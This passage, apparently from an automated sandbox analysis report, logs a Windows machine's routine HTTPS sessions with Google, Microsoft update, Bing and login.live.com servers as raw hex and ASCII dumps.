0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-26 07:03:25 UTC	1282	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 36 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 30 30 33 64 74 68 69 73 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700306,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u003dthis
2024-11-26 07:03:25 UTC	291	IN	Data Raw: 31 31 63 0d 0a 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 49 64 3b 5f 2e 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 Data Ascii: 11cifier: Apache-2.0\n*/\nvar Id;_.Gd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLow
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 4c 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 4b 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 66 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 Data Ascii: 8000};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Ld\u003dnew _.Kd(\"about:invalid#zClosurez\");_.Hd\u003dclass{constructor(a){this.fh\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"htt
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e Data Ascii: .Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.
2024-11-26 07:03:25 UTC	1390	IN	Data Raw: 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 79 6c 65 5c 22 3f 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 63 6c 61 73 73 5c 22 3f 61 2e 63 6c 61 73 73 4e 61 6d 65 5c 75 30 30 33 64 63 3a 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 6f 72 5c 22 3f 61 2e 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6c 65 5b 64 5d 2c 63 29 3a 5f 2e 67 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 Data Ascii: b,function(c,d){d\u003d\u003d\"style\"?a.style.cssText\u003dc:d\u003d\u003d\"class\"?a.className\u003dc:d\u003d\u003d\"for\"?a.htmlFor\u003dc:le.hasOwnProperty(d)?a.setAttribute(le[d],c):_.ge(d,\"aria-\")\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	142.250.181.100	443	4640	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:24 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 07:03:25 UTC	933	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 07:03:24 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 07:03:25 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-26 07:03:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49714	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:27 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=52sUK2MZueOEy4P&MD=OuhoZaBu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 07:03:27 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0bce3593-5e09-48de-b27b-2293fe221782 MS-RequestId: 7809d199-a8cc-4162-93e8-09d10995cf64 MS-CV: mKEdkgT/MEe1rfpj.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 07:03:26 GMT Connection: close Content-Length: 24490
2024-11-26 07:03:27 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 07:03:27 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49723	69.192.160.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 07:03:29 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=242227 Date: Tue, 26 Nov 2024 07:03:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49730	69.192.160.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:31 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 07:03:31 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=242243 Date: Tue, 26 Nov 2024 07:03:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-26 07:03:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49733	13.107.9.158	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:35 UTC	427	OUT	GET /work/api/v2/tenant/my/settingswithflights?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:36 UTC	938	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate Content-Length: 584 Content-Type: application/json; charset=utf-8 Strict-Transport-Security: max-age=31536000; includeSubDomains nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://bzib.nelreports.net/api/report?cat=bingbusiness"}]} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9ECC2DE69C9D4100A9C262E34448E7E5 Ref B: BL2AA2030104047 Ref C: 2024-11-26T07:03:36Z Set-Cookie: MUIDB=253D334BAD79628710ED2608AC7863C8; path=/; httponly; expires=Sun, 21-Dec-2025 07:03:36 GMT Date: Tue, 26 Nov 2024 07:03:35 GMT Connection: close
2024-11-26 07:03:36 UTC	584	IN	Data Raw: 7b 22 74 65 6e 61 6e 74 53 65 74 74 69 6e 67 73 22 3a 7b 22 66 72 69 65 6e 64 6c 79 4e 61 6d 65 22 3a 22 22 2c 22 74 65 6e 61 6e 74 4f 62 6a 65 63 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 49 64 22 3a 22 22 2c 22 74 65 6e 61 6e 74 44 69 73 70 6c 61 79 4e 61 6d 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 43 68 65 63 6b 73 75 6d 22 3a 22 22 2c 22 74 68 65 6d 65 22 3a 22 22 2c 22 61 64 6d 69 6e 45 6d 61 69 6c 22 3a 22 22 2c 22 69 63 6f 6e 4c 61 72 67 65 49 73 44 65 66 61 75 6c 74 22 3a 66 61 6c 73 65 2c 22 74 65 6e 61 6e 74 47 72 6f 75 70 22 3a 22 22 2c 22 73 74 61 74 75 73 22 3a 22 43 6f 6d 70 6c 65 74 65 22 2c 22 76 61 72 69 61 6e 74 73 22 3a 5b 5d 2c 22 65 78 70 6c 6f 72 65 51 75 65 72 69 65 73 22 3a 5b Data Ascii: {"tenantSettings":{"friendlyName":"","tenantObjectId":"","tenantId":"","tenantDisplayName":"","iconLarge":"","iconLargeChecksum":"","theme":"","adminEmail":"","iconLargeIsDefault":false,"tenantGroup":"","status":"Complete","variants":[],"exploreQueries":[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49734	13.107.9.158	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:35 UTC	418	OUT	GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:36 UTC	801	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate WWW-Authenticate: Bearer WWW-Authenticate: Bearer WWW-Authenticate: Bearer error="invalid_token" WWW-Authenticate: Bearer error="invalid_token" Strict-Transport-Security: max-age=31536000; includeSubDomains X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: CAEC4842B2C341DC962D42CC6D03E11F Ref B: BL2AA2010202005 Ref C: 2024-11-26T07:03:36Z Set-Cookie: MUIDB=2687CD11DB4168FC0DE6D852DACD6981; path=/; httponly; expires=Sun, 21-Dec-2025 07:03:36 GMT Date: Tue, 26 Nov 2024 07:03:35 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49737	94.245.104.56	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:36 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:36 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Tue, 26 Nov 2024 07:03:36 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=615eda4c0d3165a2d4f9951294e051731fcb214a3d398c87cf3569f0f2635bcf;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49739	40.126.53.17	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-26 07:03:37 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 07:03:38 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 07:02:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: 7353efac-989d-4703-a38e-84674a57077f PPServer: PPV: 30 H: PH1PEPF00011F52 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 07:03:37 GMT Connection: close Content-Length: 11389
2024-11-26 07:03:38 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49748	142.250.181.97	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
